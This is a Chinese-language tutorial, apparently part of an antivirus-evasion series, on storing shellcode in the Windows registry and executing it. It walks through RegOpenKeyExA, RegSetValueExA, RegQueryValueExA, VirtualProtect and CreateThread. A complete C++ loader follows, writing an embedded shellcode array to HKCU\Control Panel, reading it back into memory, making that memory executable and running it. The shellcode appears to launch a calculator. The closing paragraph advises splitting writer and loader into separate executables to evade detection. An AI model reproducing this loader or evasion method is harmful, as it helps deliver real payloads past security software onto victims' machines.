# 11-注册表注入

## 一、前言

**官方文档**：[关于注册表 - Win32 apps | Microsoft Learn](https://learn.microsoft.com/zh-cn/windows/win32/sysinfo/about-the-registry)

**参考文章**：&#x20;

1、 [、写入Shellcode到注册表上线\_注册表shellcode执行-CSDN博客](https://blog.csdn.net/weixin_65550121/article/details/135160606)

2、 [奇安信攻防社区-CS免杀-RegQueryValueExA加载器](https://forum.butian.net/share/371)

### 1.1 注册表

注册表是一个分层数据库，其中包含对 Windows 的操作以及 Windows 上运行的应用程序和服务至关重要的数据。 数据以树格式进行结构化。

应用程序必须先打开密钥，然后才能将数据添加到注册表。 若要打开密钥，应用程序必须向注册表中已打开的另一个项提供句柄。

&#x20;已针对特定平台定义了其他预定义句柄。 下面是预定义键的句柄。  1. `HKEY_CLASSES_ROOT`：Shell 和 COM 应用程序使用此密钥下存储的信息  2. `HKEY_CURRENT_USER`：包括环境变量的设置、有关程序组、颜色、打印机、网络连接和应用程序首选项的数据  3. `HKEY_LOCAL_MACHINE`：计算机的硬件和软件配置  4. `HKEY_USERS`：本地计算机上新用户的默认用户配置和当前用户的用户配置  5. `HKEY_CURRENT_CONFIG`：描述了当前硬件配置与标准配置之间的差异

### 1.2 键，子项，值

树中的每个节点称为 **键**。 每个键可以同时包含 **子项** 和数据条目（称为 **值**）。子项下也可以包含子项。

一个值包含**名称**，**类型**，**数据**

![](https://images-of-oneday.oss-cn-guangzhou.aliyuncs.com/images/2025/01/14/12-54-26-68a567c8b0a53f77127d723bcf8f6b60-20250114125426-2d3b22.png)

## 二、流程

1. **使用 `RegOpenKeyExA` 打开指定的注册表项**。官方文档 \[RegOpenKeyExA 函数 （winreg.h） - Win32 apps | Microsoft Learn]\(<https://learn.microsoft.com/zh-cn/windows/win32/api/winreg/nf-winreg-regopenkeyexa>
   * 第一个参数是打开的注册表项的句柄，在本例中就是 `HKEY_CURRENT_USER`
   * 第二个参数是要打开的注册表子项的名称，在本例中就是 `Control Panel`
   * 第三个参数是指定打开键时要应用的选项，在本例中是 `0`
   * 第四个参数是一个掩码，指定要打开的密钥的所需访问权限，在本例中是 `KEY_ALL_ACCESS`
   * 第五个参数是输出参数，指向接收已打开键句柄的变量的指针，在本例中是 `hOpenKey`
2. **使用 `RegSetValueExA` 将shellcode作为键值写入注册表**。官方文档：[RegSetValueExA 函数 （winreg.h） - Win32 apps | Microsoft Learn](https://learn.microsoft.com/zh-cn/windows/win32/api/winreg/nf-winreg-regsetvalueexa)
   * 第一个参数是打开的注册表项的句柄，在本例中是 `hOpenKey`
   * 第二个参数是要设置的值的名称，在本例中是 `test`
   * 第三个参数，此参数是保留的，必须为零。
   * 第四个参数是写入的数据类型，在本例中是 `REG_BINARY`
   * 第五个参数是要存储的数据，在本例中就是 `shellcode`
3. **使用 `VirtualAlloc或者HeapAlloc` 为shellcode分配内存，返回内存的起始地址`pAllocMem`**。
4. **使用 `RegQueryValueExA或RegGetValueA` 获取值**。在本例中我使用的 `RegQueryValueExA`，官方文档：[RegQueryValueExA 函数 (winreg.h) - Win32 apps | Microsoft Learn](https://learn.microsoft.com/zh-cn/windows/win32/api/winreg/nf-winreg-regqueryvalueexa)
   * 第一个参数是打开的注册表项的句柄，在本例中是 `hOpenKey`
   * 第二个参数是注册表值的名称，在本例中是 `test`
   * 第三个参数，此参数是保留的，必须为 **NULL**。
   * 第四个参数是，指向变量的指针，本例中为 **NULL**
   * 第五个参数是指向接收值数据的缓冲区的指针，在本例中是 `pAllocMem`
5. **使用 `VirtualProtect` 修改相应内存区域的保护属性**。官方文档：[VirtualProtect 函数 (memoryapi.h) - Win32 apps | Microsoft Learn](https://learn.microsoft.com/zh-cn/windows/win32/api/memoryapi/nf-memoryapi-virtualprotect)
6. **使用 `CreateThread` 创建线程指向shellcode**。官方文档：[CreateThread 函数 （processthreadsapi.h） - Win32 apps | Microsoft Learn](https://learn.microsoft.com/zh-cn/windows/win32/api/processthreadsapi/nf-processthreadsapi-createthread)

## 三、代码实现

```go
#include <windows.h>
#include <iostream>

int main() {
    // 原始 Shellcode 数据
    unsigned char shellcode[] = {
        0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6A, 0x60, 0x5A,
0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 0x59, 0x48, 0x83, 0xEC,
0x28, 0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48,
0x8B, 0x76, 0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B,
0x7E, 0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17, 0x28, 0x8B,
0x74, 0x1F, 0x20, 0x48, 0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24,
0x0F, 0xB7, 0x2C, 0x17, 0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C,
0x07, 0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F,
0x1C, 0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7,
0x99, 0xFF, 0xD7, 0x48, 0x83, 0xC4, 0x30, 0x5D, 0x5F, 0x5E,
0x5B, 0x5A, 0x59, 0x58, 0xC3
    };

    SIZE_T shellcodeSize = sizeof(shellcode);

    // 注册表操作
    HKEY hKey = HKEY_CURRENT_USER; // 或其他适当的键
    LONG result;

    // 打开注册表键
    HKEY hOpenKey;
    result = RegOpenKeyExA(hKey, "Control Panel", 0, KEY_ALL_ACCESS, &hOpenKey);

    if (result != ERROR_SUCCESS) {
        std::cerr << "无法打开注册表键" << std::endl;
        return 1;
    }

    // 写入注册表
    result = RegSetValueExA(hOpenKey, "test",0, REG_BINARY, shellcode, shellcodeSize);

    if (result != ERROR_SUCCESS) {
        std::cerr << "写入注册表失败" << std::endl;
        RegCloseKey(hOpenKey);
        return 1;
    }

    // 分配内存
    LPVOID pAllocMem = VirtualAlloc(NULL, shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

    if (pAllocMem == NULL) {
        std::cerr << "内存分配失败" << std::endl;
        RegCloseKey(hOpenKey);
        return 1;
    }

    // 读取注册表数据
    DWORD dataLength = shellcodeSize;
    result = RegQueryValueExA(hOpenKey, "test", NULL, NULL, (LPBYTE)pAllocMem, &dataLength);

    if (result != ERROR_SUCCESS) {
        std::cerr << "读取注册表数据失败" << std::endl;
        VirtualFree(pAllocMem, 0, MEM_RELEASE);
        RegCloseKey(hOpenKey);
        return 1;
    }

    // 修改内存保护属性
    DWORD oldProtect;
    VirtualProtect(pAllocMem, shellcodeSize, PAGE_EXECUTE_READWRITE, &oldProtect);

    // 创建线程执行 Shellcode
    HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)pAllocMem, NULL, 0, NULL);

    // 等待线程结束
    WaitForSingleObject(hThread, INFINITE);

    // 清理资源
    CloseHandle(hThread);
    VirtualFree(pAllocMem, 0, MEM_RELEASE);
    //RegDeleteValueA(hOpenKey, "test");
    //RegCloseKey(hOpenKey);
    return 0;
}
```

![](https://images-of-oneday.oss-cn-guangzhou.aliyuncs.com/images/2025/01/13/19-18-03-3e47568d3515f1febe44e12e7664979e-20250113191803-049d86.png)

![](https://images-of-oneday.oss-cn-guangzhou.aliyuncs.com/images/2025/01/13/19-48-40-5790a4a8ff89a2b16c51b37889dad87d-20250113194840-e2611b.png)

是不是感觉这种注入方式有点鸡肋呢，其实不然，你可以创建两个exe文件，一个文件用来将shellcode写入注册表，另一个文件用来读者shellcode并执行，这样一来不就符合我在 `第一章-分离` 那一小节介绍的理念吗，大幅度提高免杀性。
